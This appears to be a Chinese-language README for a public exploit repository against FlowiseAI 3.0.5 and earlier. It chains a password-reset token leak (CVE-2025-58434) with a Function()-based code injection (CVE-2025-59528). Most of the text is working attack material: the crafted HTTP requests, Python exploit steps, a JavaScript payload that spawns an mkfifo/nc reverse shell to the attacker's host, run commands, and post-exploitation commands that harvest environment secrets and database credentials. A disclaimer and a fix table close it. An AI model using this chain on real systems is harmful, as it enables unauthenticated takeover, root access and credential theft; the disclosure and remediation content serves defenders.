
严重的未认证杀伤链导致FlowiseAI完全远程代码执行 (CVE-2025-58434 + CVE-2025-59528)
未认证的账户接管,结合针对 FlowiseAI
<= 3.0.5的远程代码执行。 在 不足 5 秒内 实现完整容器沦陷,无需任何凭证。
左:FlowiseAI 登录页面 — 右:通过 CVE-2025-59528 获取 root shell · uid=0(root)
此利用程序将 两个独立的严重漏洞 串联成一个完全自动化的单次攻击。单独任何一个漏洞都无法保证完全沦陷——但两者结合,就形成了从零凭证到 Docker 容器内 root shell 的完整攻击链。
[无凭证]
│
▼
① 滥用忘记密码接口(无需认证)
│ → 服务器以明文形式返回受害者的重置令牌
▼
② 将令牌提交至重置密码接口
│ → 攻击者可控制管理员密码
▼
③ 登录并获取 Bearer API 密钥
│ → 建立完整的认证会话
▼
④ 通过 customMCP 节点发送 JavaScript 载荷
│ → 服务器通过 Function() 构造函数执行
▼
[Docker 容器内的 Root Shell]
零交互之处: 在整个过程中,受害者不会收到邮件、不会看到登录警报,也不会触发任何可见事件。攻击完全在服务端进行。
CVSS 3.1: 9.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影响范围: FlowiseAI <= 3.0.5(云端 + 自托管)
公告: GHSA-wgpv-6j63-x5ph
FlowiseAI 有一个“内部”请求的概念——即其自身服务之间的 API 调用——通过 x-request-from: internal HTTP 头部标识。/api/v1/account/forgot-password 接口利用该头部 完全跳过身份验证,并返回比外部请求更详细的不同响应。
问题在于:此头部未经任何验证或限制。互联网上的任何攻击者都可以发送它。当他们这样做时,API 不会触发密码重置邮件,而是返回完整的用户记录——包括一个立即可用于设置新密码的 tempToken。
通常,密码重置流程如下:
用户请求重置 → 服务器生成令牌 → 令牌通过邮件发送 → 用户点击链接 → 密码已更改
而此处,服务器 完全跳过邮件步骤,直接将令牌放到 HTTP 响应体中。攻击者捕获它后直接进入重置步骤——无需任何邮件访问权限。
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — 完整的用户记录暴露{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
然后 tempToken 直接提交至重置接口——无需邮件交互、无验证码、无速率限制。

CVSS 3.1: 10.0 严重 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
影响范围: FlowiseAI <= 3.0.5
公告: GHSA-3gcm-f6qx-ff7p
FlowiseAI 允许用户定义自定义 MCP(模型上下文协议)节点,其中服务器配置以 JSON 字符串形式提供。在内部,平台需要解析此配置——这通过 JavaScript 的 Function() 构造函数完成,该函数在功能上等同于 eval()。
配置字符串到达处理点时 完全未经净化:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
// ↑ 未经净化的用户输入 — 任意 JS 执行
Function() 与 eval() 同样危险Function('return ' + code)() 做了以下事情:
code 作为函数体构造一个新的 JavaScript 函数这给了攻击者 完整的 JavaScript 执行上下文,可以访问 process、require、child_process 以及整个 Node.js 运行时——而不是沙箱。
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← 攻击者控制的字符串
└─ substituteVariablesInString() ← 无过滤,直接传递
└─ convertToValidJSONString() ← 无过滤,直接传递
└─ Function('return ' + input)() ← 任意代码在此执行
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
为什么用
mkfifo而非/dev/tcp?
容器运行的是/bin/sh,而不是/bin/bash。/dev/tcp是 bash 专属特性——标准 POSIX shell 中没有。mkfifo创建一个命名的管道,在任何 POSIX 兼容 shell 中均可工作,使得反弹 shell 能够在不同容器环境中移植。
利用程序分为 四个连续步骤,每一步都直接对应攻击链的一个阶段。
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
发生了什么: 服务器认为这是一个内部服务到服务的调用,因为包含 x-request-from: internal 头部。它跳过了正常的邮件发送路径,将完整的用户记录(包括有效的密码重置令牌)直接返回在 HTTP 201 响应体中。
为何有效: 头部检查纯粹基于字符串,没有加密验证。任何调用者都可以设置它。后端不会验证请求的来源。
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
发生了什么: 被盗的 tempToken 连同攻击者选择的新密码一起提交。服务器验证令牌(是真的且有效),确认邮箱匹配,然后更新凭证哈希——无需邮件确认、无二次检查。
为何有效: 令牌验证仅检查令牌是否存在且未过期。它不会验证生成令牌的调用者与提交重置的调用者是否相同。所有权从未被验证。
# 使用新密码登录
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# 获取 RCE 接口所需的 Bearer API 密钥
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
发生了什么: 使用攻击者新密码的正常登录建立了一个完整的管理员会话(基于 cookie)。然后使用该会话获取平台的默认 API 密钥,该密钥是步骤 4 中 node-load-method 接口认证所必需的。
为何有效: 此时攻击者就是管理员——他们拥有凭证。会话和 API 密钥是服务器合法颁发的。
CVE-2025-59528)js_payload = (
'({x:(function(){const cp = process.mainModule.require("child_process"); '
f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
f"{TARGET}/api/v1/node-load-method/customMCP",
headers={"Authorization": f"Bearer {api_key}"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)
发生了什么: 载荷是一个伪装成 JSON 兼容对象的自调用 JavaScript 函数(IIFE)。当 convertToValidJSONString() 处理它时,该值最终进入 Function('return ' + input)()——它会将其作为具有完整 Node.js 运行时访问权限的活动 JavaScript 执行。child_process.exec() 触发反弹 shell 命令,建立回连到攻击者监听器的连接。
为什么用 IIFE 包装? Function('return ' + x) 模式期望表达式可被返回。将恶意代码包装在 ({x: (function(){ ... })()}) 中使得整个表达式成为有效的 JavaScript,其计算结果为一个对象——这满足了解析器,同时作为副作用执行了载荷。
为什么用 nohup + disown? HTTP 请求有超时。如果不分离进程,shell 会在请求超时时终止。nohup + disown 将反弹 shell 从 Node.js 进程中分离,使其独立存活。
# 1. 先启动监听器
nc -lvnp 4444
# 2. 运行完整攻击链
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444
# 3. 如果管理员密码在之前尝试中已重置
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset
pip install requests
一旦 shell 建立,容器通常以 root 身份运行,并可访问完整的 FlowiseAI 应用环境:
# 密钥和凭证
env # 环境变量中的 API 密钥、数据库 URI、服务凭证
cat .env # FlowiseAI 配置文件——数据库密码、JWT 密钥
# 应用内部
ls /app/packages/ # 单体仓库结构——源代码、配置、node_modules
cat /app/packages/server/.env
# 容器上下文
cat /proc/1/cmdline # PID 1 是什么进程——确认容器环境
hostname # 容器 ID
cat /etc/hosts # 内部网络映射——其他可达服务
# 横向移动候选
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"
本仓库及所有相关代码 严格 仅供教育和授权的安全研究使用。
两个漏洞均已公开披露,并在 FlowiseAI 3.0.6 中修复。针对您不拥有或未获得明确书面授权进行测试的系统进行测试,根据适用法律(包括但不限于《计算机欺诈与滥用法案》(CFAA)、《计算机滥用法案》和欧盟 NIS2 指令)属于违法行为。
作者对因滥用此材料造成的任何损害不承担任何责任。
0H4K3D · CVE Team
| 属性 | 详情 |
|---|
| 无需凭证 | 攻击者一开始只拥有目标 IP |
| 零受害者交互 | 无钓鱼、无点击、无社会工程 |
| 无速率限制 | 重置接口无节流——必要时可暴力破解 |
| 无验证码 | 重置流程无人机验证 |
| 无需邮件确认 | 密码更改立即生效、静默、不可逆 |
| 完整的 Node.js 运行时可用于 RCE | child_process、文件系统、网络——无沙箱 |
| 在 Docker 中以 root 运行 | 容器通常以 root 启动,具有完整文件系统访问权限 |
| 影响云端及自托管 | 任何 <= 3.0.5 的部署均受影响 |
| 标志 | 说明 | 必需 |
|---|
-ip | 目标 IP 地址 | ✅ |
-lhost | 您的 IP,用于反弹 shell 回连 | ✅ |
-lport | 您的监听端口 | ✅ |
--skipreset | 跳过 CVE-2025-58434(阶段 1 和 2)——如果账户已沦陷则使用 | ❌ |
| 修复 | 优先级 |
|---|
升级至 FlowiseAI ≥ 3.0.6 | 🔴 立即 |
在反向代理处拦截 x-request-from: internal——它绝不应来自互联网 | 🔴 立即 |
将 /api/v1/account/* 限制为仅认证会话 | 🔴 立即 |
净化 mcpServerConfig——切勿将用户输入传递给 Function() 或 eval() | 🔴 立即 |
| 为所有密码重置接口添加速率限制和验证码 | 🔴 立即 |
| 如果不需要公网暴露,将 FlowiseAI 实例与互联网隔离 | 🟠 高 |
| 以非 root 用户运行容器 | 🟠 高 |
| 对密码重置和 MCP 接口启用异常检测 | 🟡 中 |
审计所有接受 x-request-from 的接口,并确认它们无法被外部调用 | 🟡 中 |